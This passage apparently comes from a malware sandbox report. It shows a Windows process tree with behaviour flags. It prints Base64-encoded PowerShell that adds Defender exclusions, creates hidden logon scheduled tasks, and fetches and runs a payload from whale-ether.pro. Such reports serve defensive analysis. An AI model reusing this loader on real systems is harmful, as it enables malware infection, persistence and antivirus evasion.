AIAArAGgAIAArAHMAIAAkAHAAMQA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADIAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwAnACwAJwBMAE0AJwAsACcAXABTACcALAAnAE8ARgBUAFcAQQBSAEUAXAAnACwAJwBQAG8AbABpACcALAAnAGMAaQBlACcALAAnAHMAXABNAGkAYwByAG8AJwAsACcAcwBvAGYAdABcAFcAJwAsACcAaQBuAGQAbwAnACwAJwB3AHMAIABEAGUAZgBlAG4AJwAsACcAZABlAHIAXABFAHgAYwAnACwAJwBsAHUAcwAnACwAJwBpAG8AbgBzAFwAUABhACcALAAnAHQAJwAsACcAaABzACcAKQApACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAoAC0AagBvAGkAbgAoACcASAAnACwAJwBLAEwATQBcAFMATwBGAFQAJwAsACcAVwBBAFIARQAnACwAJwBcAFAAbwBsAGkAYwAnACwAJwBpAGUAcwBcAE0AaQBjAHIAJwAsACcAbwBzAG8AZgB0AFwAJwAsACcAVwBpAG4AZAAnACwAJwBvAHcAcwAgAEQAZQAnACwAJwBmAGUAbgBkAGUAJwAsACcAcgAnACwAJwBcAEUAeABjAGwAdQBzAGkAJwAsACcAbwBuAHMAXAAnACwAJwBQAGEAdABoAHMAJwApACkAIAAvAHYAIAAkAHAAMQAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMAAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwBMAE0AXABTAE8ARgAnACwAJwBUAFcAJwAsACcAQQBSAEUAXABQACcALAAnAG8AbABpAGMAaQBlAHMAXAAnACwAJwBNAGkAYwByAG8AcwAnACwAJwBvAGYAdABcAFcAaQBuAGQAJwAsACcAbwB3AHMAIABEAGUAJwAsACcAZgBlAG4AZAAnACwAJwBlAHIAJwAsACcAXABFAHgAYwBsAHUAcwBpACcALAAnAG8AbgBzACcALAAnAFwAUABhAHQAaABzACcAKQApACAALwB2ACAAJABwADIAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABwADEAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAHAAMgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAfQBjAGEAdABjAGgAewB9AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABnAHAAdQBwAGQAYQB0AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAvAGYAbwByAGMAZQAnACwAJwAvAHQAYQByAGcAZQB0ADoAYwBvAG0AcAB1AHQAZQByACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0ACAAMgA+ACQAbgB1AGwAbAA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAMAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBXAGkAbgBkAG8AdwBzACcAKwAnAFMAJwArACcAeQBzAHQAZQBtAFMAZQAnACsAJwByAHYAaQBjAGUAJwApACAALwB0AHIAIAAoACQAcAAxACAAKwAgACgALQBqAG8AaQBuACgAJwBcACcALAAnAHMAdgBjAGgAJwAsACcAbwBzAHQALgBlACcALAAnAHgAZQAnACkAKQApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBSAHUAbgB0ACcAKwAnAGkAbQBlAEIAcgBvAGsAJwArACcAZQAnACsAJwByAFMAZQAnACsAJwByAHYAaQAnACsAJwBjACcAKwAnAGUAJwApACAALwB0AHIAIAAoACQAcAAyAHQAIAArACAAJwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ARQBtAGIAZQBkAGQAaQBuAGcAJwApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawA9AHsAJAB0AHIAdQBlAH0AOwAkAGkAdgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADEANgA7AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGEAbgBkAG8AbQBOAHUAbQBiAGUAcgBHAGUAbgBlAHIAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBHAGUAdABCAHkAdABlAHMAKAAkAGkAdgApADsAJABhAGUAcwA9AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAkAGEAZQBzAC4ASwBlAHkAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAJwA0ADEANwAxACcAKwAnADIAOQA2ADEAMgA5ADQAOQAnACsAJwAxADEANAAxADEANgA3ADMAJwArACcAMAA4ACcAKwAnADkAMQA2ADcAMwAzADkAOQAnACsAJwAwADEAJwApACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACgALQBqAG8AaQBuACgAJwBDAEIAJwAsACcAQwAnACkAKQA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AKAAnAFAASwAnACsAJwBDAFMAJwArACcANwAnACkAOwAkAGMAbQBkAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAC0AagBvAGkAbgAoACcAZwBlACcALAAnAHQAUAAnACwAJwBhAHkAbABvACcALAAnAGEAJwAsACcAZAAnACkAKQApADsAJABlAG4AYwBDAG0AZAA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBFAG4AYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAG0AZAAsADAALAAkAGMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAYgBvAGQAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABpAHYALgBMAGUAbgBnAHQAaAArACQAZQBuAGMAQwBtAGQALgBMAGUAbgBnAHQAaAApADsAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAaQB2ACwAJABiAG8AZAB5ACwAMQA2ACkAOwBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABlAG4AYwBDAG0AZAAsADAALAAkAGIAbwBkAHkALAAxADYALAAkAGUAbgBjAEMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACgALQBqAG8AaQBuACgAJwBDACcALAAnAG8AbgB0AGUAbgAnACwAJwB0AC0AVAB5ACcALAAnAHAAZQAnACkAKQAsACgAJwBhAHAAcAAnACsAJwBsAGkAYwAnACsAJwBhAHQAaQBvAG4AJwArACcALwBvAGMAdABlAHQALQBzACcAKwAnAHQAcgBlACcAKwAnAGEAbQAnACkAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4AVQBwAGwAbwBhAGQARABhAHQAYQAoACcAaAB0AHQAcABzADoALwAvAHcAaABhAGwAZQAtAGUAdABoAGUAcgAuAHAAcgBvADoANAA0ADMAJwAsACQAYgBvAGQAeQApADsAJAByAGkAdgA9AFsAYgB5AHQAZQBbAF0AXQAkAGQAYQB0AGEAWwAwAC4ALgAxADUAXQA7ACQAZQBuAGMAPQBbAGIAeQB0AGUAWwBdAF0AJABkAGEAdABhAFsAMQA2AC4ALgAoACQAZABhAHQAYQAuAEwAZQBuAGcAdABoAC0AMQApAF0AOwAkAGEAZQBzAC4ASQBWAD0AJAByAGkAdgA7ACQAZABlAGMAPQAkAGEAZQBzAC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAApAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAZQBuAGMALAAwACwAJABlAG4AYwAuAEwAZQBuAGcAdABoACkAOwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACgAJABwADEAIAArACAAKAAnAFwAcwB2AGMAJwArACcAaABvAHMAdAAuAGUAJwArACcAeABlACcAKQApACwAJABkAGUAYwApADsAQwBvAHAAeQAtAEkAdABlAG0AIAAoACQAcAAxACAAKwAgACgAJwBcAHMAJwArACcAdgBjAGgAbwAnACsAJwBzACcAKwAnAHQALgBlACcAKwAnAHgAJwArACcAZQAnACkAKQAgACIAJABwADIAdABcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAiACAALQBGAG8AcgBjAGUAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAKAAkAHAAMQAgACsAIAAoACcAXABzAHYAYwAnACsAJwBoAG8AcwB0AC4AZQAnACsAJwB4AGUAJwApACkAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuADsA
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3768
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker
      4⤵
      Views/modifies file attributes
      PID:2192
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy
      4⤵
      Views/modifies file attributes
      PID:3012
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:64
      4⤵
      PID:2840
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker /t REG_DWORD /d 0 /f /reg:64
      4⤵
      PID:1084
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy /t REG_DWORD /d 0 /f /reg:64
      4⤵
      PID:3804
  - - C:\Windows\system32\gpupdate.exe
      "C:\Windows\system32\gpupdate.exe" /force /target:computer
      4⤵
      PID:2220
  - - C:\Windows\system32\schtasks.exe
      "C:\Windows\system32\schtasks.exe" /create /tn WindowsSystemService /tr C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe /sc onlogon /rl highest /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2112
  - - C:\Windows\system32\schtasks.exe
      "C:\Windows\system32\schtasks.exe" /create /tn RuntimeBrokerService /tr "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy\AC\Temp\RuntimeBroker.exe -Embedding" /sc onlogon /rl highest /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4532
  - - C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe
      "C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe"
      4⤵
      Executes dropped EXE
      PID:2652
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu
  2⤵
  PID:2720
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4368
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --incognito
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4940
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACgAJABsAGEAIAArACAAKAAnAFwAJwArACcATQBpAGMAcgBvAHMAbwBmACcAKwAnAHQAXABPAGYAZgBpAGMAZQAnACsAJwBCACcAKwAnAHIAbwBrACcAKwAnAGUAJwArACcAcgAnACkAKQA7ACQAcAAyAD0AKAAkAGwAYQAgACsAIAAoACcAXABQAGEAYwBrAGEAJwArACcAZwBlAHMAXABNACcAKwAnAGkAYwByACcAKwAnAG8AcwBvAGYAJwArACcAdAAuAFcAaQAnACsAJwBuACcAKwAnAGQAbwB3AHMALgBQAGUAbwAnACsAJwBwAGwAZQBFACcAKwAnAHgAJwArACcAcABlAHIAaQBlAG4AYwBlACcAKwAnAEgAbwBzAHQAXwBnAHcAJwArACcAMQBuADEAYwAyAGYAaAAnACsAJwB5AGUAJwArACcAcQAnACsAJwB5ACcAKQApADsAJABwADIAdAA9ACgAJABwADIAIAArACAAKAAtAGoAbwBpAG4AKAAnAFwAQQBDACcALAAnAFwAVABlACcALAAnAG0AcAAnACkAKQApADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADEAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAMgB0ACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAYQB0AHQAcgBpAGIAIAArAGgAIAArAHMAIAAkAHAAMQA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADIAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwAnACwAJwBMAE0AJwAsACcAXABTACcALAAnAE8ARgBUAFcAQQBSAEUAXAAnACwAJwBQAG8AbABpACcALAAnAGMAaQBlACcALAAnAHMAXABNAGkAYwByAG8AJwAsACcAcwBvAGYAdABcAFcAJwAsACcAaQBuAGQAbwAnACwAJwB3AHMAIABEAGUAZgBlAG4AJwAsACcAZABlAHIAXABFAHgAYwAnACwAJwBsAHUAcwAnACwAJwBpAG8AbgBzAFwAUABhACcALAAnAHQAJwAsACcAaABzACcAKQApACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAoAC0AagBvAGkAbgAoACcASAAnACwAJwBLAEwATQBcAFMATwBGAFQAJwAsACcAVwBBAFIARQAnACwAJwBcAFAAbwBsAGkAYwAnACwAJwBpAGUAcwBcAE0AaQBjAHIAJwAsACcAbwBzAG8AZgB0AFwAJwAsACcAVwBpAG4AZAAnACwAJwBvAHcAcwAgAEQAZQAnACwAJwBmAGUAbgBkAGUAJwAsACcAcgAnACwAJwBcAEUAeABjAGwAdQBzAGkAJwAsACcAbwBuAHMAXAAnACwAJwBQAGEAdABoAHMAJwApACkAIAAvAHYAIAAkAHAAMQAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMAAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwBMAE0AXABTAE8ARgAnACwAJwBUAFcAJwAsACcAQQBSAEUAXABQACcALAAnAG8AbABpAGMAaQBlAHMAXAAnACwAJwBNAGkAYwByAG8AcwAnACwAJwBvAGYAdABcAFcAaQBuAGQAJwAsACcAbwB3AHMAIABEAGUAJwAsACcAZgBlAG4AZAAnACwAJwBlAHIAJwAsACcAXABFAHgAYwBsAHUAcwBpACcALAAnAG8AbgBzACcALAAnAFwAUABhAHQAaABzACcAKQApACAALwB2ACAAJABwADIAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABwADEAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAHAAMgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAfQBjAGEAdABjAGgAewB9AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABnAHAAdQBwAGQAYQB0AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAvAGYAbwByAGMAZQAnACwAJwAvAHQAYQByAGcAZQB0ADoAYwBvAG0AcAB1AHQAZQByACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0ACAAMgA+ACQAbgB1AGwAbAA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAMAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBXAGkAbgBkAG8AdwBzACcAKwAnAFMAJwArACcAeQBzAHQAZQBtAFMAZQAnACsAJwByAHYAaQBjAGUAJwApACAALwB0AHIAIAAoACQAcAAxACAAKwAgACgALQBqAG8AaQBuACgAJwBcACcALAAnAHMAdgBjAGgAJwAsACcAbwBzAHQALgBlACcALAAnAHgAZQAnACkAKQApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBSAHUAbgB0ACcAKwAnAGkAbQBlAEIAcgBvAGsAJwArACcAZQAnACsAJwByAFMAZQAnACsAJwByAHYAaQAnACsAJwBjACcAKwAnAGUAJwApACAALwB0AHIAIAAoACQAcAAyAHQAIAArACAAJwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ARQBtAGIAZQBkAGQAaQBuAGcAJwApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawA9AHsAJAB0AHIAdQBlAH0AOwAkAGkAdgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADEANgA7AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGEAbgBkAG8AbQBOAHUAbQBiAGUAcgBHAGUAbgBlAHIAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBHAGUAdABCAHkAdABlAHMAKAAkAGkAdgApADsAJABhAGUAcwA9AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAkAGEAZQBzAC4ASwBlAHkAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAJwA0ADEANwAxACcAKwAnADIAOQA2ADEAMgA5ADQAOQAnACsAJwAxADEANAAxADEANgA3ADMAJwArACcAMAA4ACcAKwAnADkAMQA2ADcAMwAzADkAOQAnACsAJwAwADEAJwApACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACgALQBqAG8AaQBuACgAJwBDAEIAJwAsACcAQwAnACkAKQA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AKAAnAFAASwAnACsAJwBDAFMAJwArACcANwAnACkAOwAkAGMAbQBkAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAC0AagBvAGkAbgAoACcAZwBlACcALAAnAHQAUAAnACwAJwBhAHkAbABvACcALAAnAGEAJwAsACcAZAAnACkAKQApADsAJABlAG4AYwBDAG0AZAA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBFAG4AYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAG0AZAAsADAALAAkAGMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAYgBvAGQAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABpAHYALgBMAGUAbgBnAHQAaAArACQAZQBuAGMAQwBtAGQALgBMAGUAbgBnAHQAaAApADsAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAaQB2ACwAJABiAG8AZAB5ACwAMQA2ACkAOwBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABlAG4AYwBDAG0AZAAsADAALAAkAGIAbwBkAHkALAAxADYALAAkAGUAbgBjAEMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACgALQBqAG8AaQBuACgAJwBDACcALAAnAG8AbgB0AGUAbgAnACwAJwB0AC0AVAB5ACcALAAnAHAAZQAnACkAKQAsACgAJwBhAHAAcAAnACsAJwBsAGkAYwAnACsAJwBhAHQAaQBvAG4AJwArACcALwBvAGMAdABlAHQALQBzACcAKwAnAHQAcgBlACcAKwAnAGEAbQAnACkAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4AVQBwAGwAbwBhAGQARABhAHQAYQAoACcAaAB0AHQAcABzADoALwAvAHcAaABhAGwAZQAtAGUAdABoAGUAcgAuAHAAcgBvADoANAA0ADMAJwAsACQAYgBvAGQAeQApADsAJAByAGkAdgA9AFsAYgB5AHQAZQBbAF0AXQAkAGQAYQB0AGEAWwAwAC4ALgAxADUAXQA7ACQAZQBuAGMAPQBbAGIAeQB0AGUAWwBdAF0AJABkAGEAdABhAFsAMQA2AC4ALgAoACQAZABhAHQAYQAuAEwAZQBuAGcAdABoAC0AMQApAF0AOwAkAGEAZQBzAC4ASQBWAD0AJAByAGkAdgA7ACQAZABlAGMAPQAkAGEAZQBzAC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAApAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAZQBuAGMALAAwACwAJABlAG4AYwAuAEwAZQBuAGcAdABoACkAOwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACgAJABwADEAIAArACAAKAAnAFwAcwB2AGMAJwArACcAaABvAHMAdAAuAGUAJwArACcAeABlACcAKQApACwAJABkAGUAYwApADsAQwBvAHAAeQAtAEkAdABlAG0AIAAoACQAcAAxACAAKwAgACgAJwBcAHMAJwArACcAdgBjAGgAbwAnACsAJwBzACcAKwAnAHQALgBlACcAKwAnAHgAJwArACcAZQAnACkAKQAgACIAJABwADIAdABcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAiACAALQBGAG8AcgBjAGUAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAKAAkAHAAMQAgACsAIAAoACcAXABzAHYAYwAnACsAJwBoAG8AcwB0AC4AZQAnACsAJwB4AGUAJwApACkAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuADsA
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3816
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker
      4⤵
      Views/modifies file attributes
      PID:1108
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy
      4⤵
      Views/modifies file attributes
      PID:2068
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:64
      4⤵
      PID:4900
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker /t REG_DWORD /d 0 /f /reg:64
      4⤵
      PID:2712
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy /t REG_DWORD /d 0 /f /reg:64
      4⤵
      PID:4404
  - - C:\Windows\system32\gpupdate.exe
      "C:\Windows\system32\gpupdate.exe" /force /target:computer
      4⤵
      PID:484
  - - C:\Windows\system32\schtasks.exe
      "C:\Windows\system32\schtasks.exe" /create /tn WindowsSystemService /tr C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe /sc onlogon /rl highest /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3148
  - - C:\Windows\system32\schtasks.exe
      "C:\Windows\system32\schtasks.exe" /create /tn RuntimeBrokerService /tr "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy\AC\Temp\RuntimeBroker.exe -Embedding" /sc onlogon /rl highest /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:996
